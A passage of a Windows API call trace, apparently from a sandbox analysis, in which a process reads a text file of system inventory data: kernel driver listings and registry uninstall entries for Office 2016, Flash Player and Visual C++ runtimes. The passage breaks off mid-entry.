\r\nvolmgr Volume Manager Driver Kernel 11/20/2010 9:19:28 AM \r\nvolmgrx Dynamic Volume Manager Kernel 11/20/2010 9:20:43 AM \r\nvolsnap Storage volumes Kernel 11/20/2010 9:20:08 AM \r\nvsmraid vsmraid Kernel 1/31/2009 1:18:57 AM \r\nvwifibus Virtual WiFi Bus Drive Kernel 7/14/2009 12:07:21 AM \r\nWacomPen Wacom Serial Pen \x15") returned 512 [0151.571] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=25088) returned 1 [0151.571] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.571] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.571] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="HID D Kernel 7/14/2009 12:02:07 AM \r\nWANARP Remote Access IP ARP D Kernel 11/20/2010 10:52:36 AM\r\nWanarpv6 Remote Access IPv6 ARP Kernel 11/20/2010 10:52:36 AM\r\nWd Wd Kernel 7/13/2009 11:19:55 PM \r\nWdf01000 Kernel Mode Driver Fra Kernel 7/13/2009 11:22:07 PM \r\nWfpLwf WFP Lightweight Filter Kernel 7/14/2009 12:09:26 AM \r\nWIMMount WIMMount File System 7/13/2009 11:29:31 PM \r\nWmiAcpi Microsoft W\x15") returned 512 [0151.571] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=25600) returned 1 [0151.571] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.571] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.571] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="indows Mana Kernel 7/13/2009 11:31:02 PM \r\nws2ifsl Winsock IFS Driver Kernel 7/14/2009 12:10:33 AM \r\nWudfPf User Mode Driver Frame Kernel 11/20/2010 10:42:44 AM\r\n-------- \r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player ActiveX\r\n DisplayName REG_SZ Adobe Flash Player 11 ActiveX 64-bit\r\n Publisher REG_SZ Adobe Systems Incorpor\x15") returned 512 [0151.571] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=26112) returned 1 [0151.571] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.571] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.571] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="ated\r\n DisplayVersion REG_SZ 11.2.202.233\r\n HelpLink REG_SZ http://www.adobe.com/go/flashplayer_support/\r\n NoModify REG_DWORD 0x1\r\n NoRepair REG_DWORD 0x1\r\n RequiresIESysFile REG_SZ 4.70.0.1155\r\n URLInfoAbout REG_SZ http://www.adobe.com\r\n URLUpdateInfo REG_SZ http://www.adobe.com/go/getflashplayer/\r\n VersionMajor REG_DWORD 0xb\r\n VersionMinor REG_DWORD 0x2\r\n UninstallString REG_SZ C:\\Windows\\system32\\Macromed\\Flash\\Flas\x15") returned 512 [0151.571] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=26624) returned 1 [0151.571] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.571] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.571] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="hUtil64_11_2_202_233_ActiveX.exe -maintain activex\r\n DisplayIcon REG_SZ C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil64_11_2_202_233_ActiveX.exe\r\n EstimatedSize REG_DWORD 0x1800\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager\r\n SystemComponent REG_DWORD 0x1\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DXM_Runtime\r\n\r\nHKEY_LO\x15") returned 512 [0151.572] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=27136) returned 1 [0151.572] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.572] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.572] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="CAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack\r\n\r\nHKEY_LOCAL_MACHINE\\S\x15") returned 512 [0151.572] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=27648) returned 1 [0151.572] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.572] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.572] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="OFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MPlayer2\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\ProjectProRetail - en-us\r\n UninstallString REG_SZ \"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=install scenariosubtype=ARP sourcetype=None productstoremove=ProjectProRetail.16_en-us_x-none culture=en-us version.16=16.0\r\n ModifyPath REG_SZ \"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.\x15") returned 512 [0151.572] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=28160) returned 1 [0151.572] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.572] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.572] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="exe\" scenario=repair platform=x64 culture=en-us\r\n NoRepair REG_DWORD 0x0\r\n NoRemove REG_DWORD 0x0\r\n NoModify REG_DWORD 0x0\r\n DisplayIcon REG_SZ C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\r\n DisplayName REG_SZ Microsoft Project Professional 2016 - en-us\r\n DisplayVersion REG_SZ 16.0.8431.2079\r\n Publisher REG_SZ Microsoft Corporation\r\n InstallLocation REG_SZ C:\\Program Files\\Microsoft Office\r\n ClickToR\x15") returned 512 [0151.572] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=28672) returned 1 [0151.572] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.572] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.572] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="unComponent REG_DWORD 0x1\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\ProPlusRetail - en-us\r\n UninstallString REG_SZ \"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=install scenariosubtype=ARP sourcetype=None productstoremove=ProPlusRetail.16_en-us_x-none culture=en-us version.16=16.0\r\n ModifyPath REG_SZ \"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=repair platform=x64 \x15") returned 512 [0151.572] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=29184) returned 1 [0151.572] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.572] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.573] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="culture=en-us\r\n NoRepair REG_DWORD 0x0\r\n NoRemove REG_DWORD 0x0\r\n NoModify REG_DWORD 0x0\r\n DisplayIcon REG_SZ C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\r\n DisplayName REG_SZ Microsoft Office Professional Plus 2016 - en-us\r\n DisplayVersion REG_SZ 16.0.8431.2079\r\n Publisher REG_SZ Microsoft Corporation\r\n InstallLocation REG_SZ C:\\Program Files\\Microsoft Office\r\n ClickToRunComponent REG_DWORD 0x\x15") returned 512 [0151.573] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=29696) returned 1 [0151.573] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.573] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.573] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="1\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\VisioProRetail - en-us\r\n UninstallString REG_SZ \"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=install scenariosubtype=ARP sourcetype=None productstoremove=VisioProRetail.16_en-us_x-none culture=en-us version.16=16.0\r\n ModifyPath REG_SZ \"C:\\Program Files\\Common Files\\Microsoft Shared\\\x15") returned 512 [0151.573] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=30208) returned 1 [0151.573] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.573] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.573] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="ClickToRun\\OfficeClickToRun.exe\" scenario=repair platform=x64 culture=en-us\r\n NoRepair REG_DWORD 0x0\r\n NoRemove REG_DWORD 0x0\r\n NoModify REG_DWORD 0x0\r\n DisplayIcon REG_SZ C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\r\n DisplayName REG_SZ Microsoft Visio Professional 2016 - en-us\r\n DisplayVersion REG_SZ 16.0.8431.2079\r\n Publisher REG_SZ Microsoft Corporation\r\n InstallLocation REG_SZ C:\\Program Files\\Micr\x15") returned 512 [0151.573] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=30720) returned 1 [0151.573] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.573] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.573] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="osoft Office\r\n ClickToRunComponent REG_DWORD 0x1\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC\r\n NoRemove REG_DWORD 0x1\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}\r\n AuthorizedCDFPrefix REG_SZ \r\n Comments REG_SZ Caution. Removing this product might prevent some applications from running.\r\n Contact REG_SZ \r\n DisplayVersion REG_SZ 10.0.40219\r\n HelpLink \x15") returned 512 [0151.573] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=31232) returned 1 [0151.573] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.573] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.573] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" REG_EXPAND_SZ http://go.microsoft.com/fwlink/?LinkId=146008\r\n HelpTelephone REG_SZ \r\n InstallDate REG_SZ 20170630\r\n InstallLocation REG_SZ \r\n InstallSource REG_SZ c:\\fdcdffa8a980600958d7f9015584\\\r\n ModifyPath REG_EXPAND_SZ MsiExec.exe /X{1D8E6291-B0D5-35EC-8441-6616F567A0F7}\r\n NoModify REG_DWORD 0x1\r\n NoRepair REG_DWORD 0x1\r\n Publisher REG_SZ Microsoft Corporation\r\n Readme REG_SZ \r\n Size REG_SZ \r\n EstimatedSize\x15") returned 512 [0151.573] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=31744) returned 1 [0151.574] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.574] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.574] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" REG_DWORD 0x3777\r\n UninstallString REG_EXPAND_SZ MsiExec.exe /X{1D8E6291-B0D5-35EC-8441-6616F567A0F7}\r\n URLInfoAbout REG_SZ \r\n URLUpdateInfo REG_SZ \r\n VersionMajor REG_DWORD 0xa\r\n VersionMinor REG_DWORD 0x0\r\n WindowsInstaller REG_DWORD 0x1\r\n Version REG_DWORD 0xa009d1b\r\n Language REG_DWORD 0x0\r\n DisplayName REG_SZ Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\x15") returned 512 [0151.574] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=32256) returned 1 [0151.574] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.574] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.574] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="\\CurrentVersion\\Uninstall\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}\r\n AuthorizedCDFPrefix REG_SZ \r\n Comments REG_SZ Caution. Removing this product might prevent some applications from running.\r\n Contact REG_SZ \r\n DisplayVersion REG_SZ 11.0.61030\r\n HelpLink REG_EXPAND_SZ http://go.microsoft.com/fwlink/?LinkId=133405\r\n HelpTelephone REG_SZ \r\n InstallDate REG_SZ 20170630\r\n InstallLocation REG_SZ \r\n InstallSource REG_SZ C:\\ProgramData\x15") returned 512 [0151.574] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=32768) returned 1 [0151.574] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.574] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.574] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\\r\n ModifyPath REG_EXPAND_SZ MsiExec.exe /X{37B8F9C7-03FB-3253-8781-2517C99D7C00}\r\n NoModify REG_DWORD 0x1\r\n Publisher REG_SZ Microsoft Corporation\r\n Readme REG_SZ \r\n Size REG_SZ \r\n EstimatedSize REG_DWORD 0x2ff0\r\n SystemComponent REG_DWORD 0x1\r\n UninstallString REG_EXPAND_SZ MsiExec.exe /X{37B8F9C7-03FB-3253-8781-2517C99D7C00}\r\n URLInf\x15") returned 512 [0151.574] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=33280) returned 1 [0151.574] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.574] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.574] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="oAbout REG_SZ \r\n URLUpdateInfo REG_SZ \r\n VersionMajor REG_DWORD 0xb\r\n VersionMinor REG_DWORD 0x0\r\n WindowsInstaller REG_DWORD 0x1\r\n Version REG_DWORD 0xb00ee66\r\n Language REG_DWORD 0x409\r\n DisplayName REG_SZ Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}\r\n AuthorizedCDFPrefix REG_SZ \r\n Comments REG_\x15") returned 512 [0151.574] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=33792) returned 1 [0151.574] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.574] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.574] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="SZ \r\n Contact REG_SZ \r\n DisplayVersion REG_SZ 9.0.30729.6161\r\n HelpLink REG_SZ \r\n HelpTelephone REG_SZ \r\n InstallDate REG_SZ 20170630\r\n InstallLocation REG_SZ \r\n InstallSource REG_SZ c:\\d82874be2c8645ac0b\\\r\n ModifyPath REG_EXPAND_SZ MsiExec.exe /X{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}\r\n NoModify REG_DWORD 0x1\r\n NoRepair REG_DWORD 0x1\r\n Publisher REG_SZ Microsoft Corporation\r\n Readme REG_SZ \r\n Si\x15") returned 512 [0151.575] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=34304) returned 1 [0151.575] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.575] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.575] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="ze REG_SZ \r\n EstimatedSize REG_DWORD 0x314\r\n UninstallString REG_EXPAND_SZ MsiExec.exe /X{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}\r\n URLInfoAbout REG_SZ \r\n URLUpdateInfo REG_SZ \r\n VersionMajor REG_DWORD 0x9\r\n VersionMinor REG_DWORD 0x0\r\n WindowsInstaller REG_DWORD 0x1\r\n Version REG_DWORD 0x9007809\r\n Language REG_DWORD 0x409\r\n DisplayName REG_SZ Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161\r\n\r\nHKEY_L\x15") returned 512 [0151.575] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=34816) returned 1 [0151.575] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.575] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.575] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="OCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}\r\n AuthorizedCDFPrefix REG_SZ \r\n Comments REG_SZ Caution. Removing this product might prevent some applications from running.\r\n Contact REG_SZ \r\n DisplayVersion REG_SZ 14.10.25017\r\n HelpLink REG_EXPAND_SZ http://go.microsoft.com/fwlink/?LinkId=133405\r\n HelpTelephone REG_SZ \r\n InstallDate REG_SZ 20170712\r\n InstallLocation REG_SZ \r\n I\x15") returned 512 [0151.575] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=35328) returned 1 [0151.575] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.575] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.575] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="nstallSource REG_SZ C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\\r\n ModifyPath REG_EXPAND_SZ MsiExec.exe /X{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}\r\n NoModify REG_DWORD 0x1\r\n Publisher REG_SZ Microsoft Corporation\r\n Readme REG_SZ \r\n Size REG_SZ \r\n EstimatedSize REG_DWORD 0x828\r\n SystemComponent REG_DWORD 0x1\r\n UninstallString REG_EXPAND_SZ MsiExec.exe /X{8D4F7A6D-6B8\x15") returned 512 [0151.575] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=35840) returned 1 [0151.575] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.575] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.575] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="1-3DC8-9C21-6008E4866727}\r\n URLInfoAbout REG_SZ \r\n URLUpdateInfo REG_SZ \r\n VersionMajor REG_DWORD 0xe\r\n VersionMinor REG_DWORD 0xa\r\n WindowsInstaller 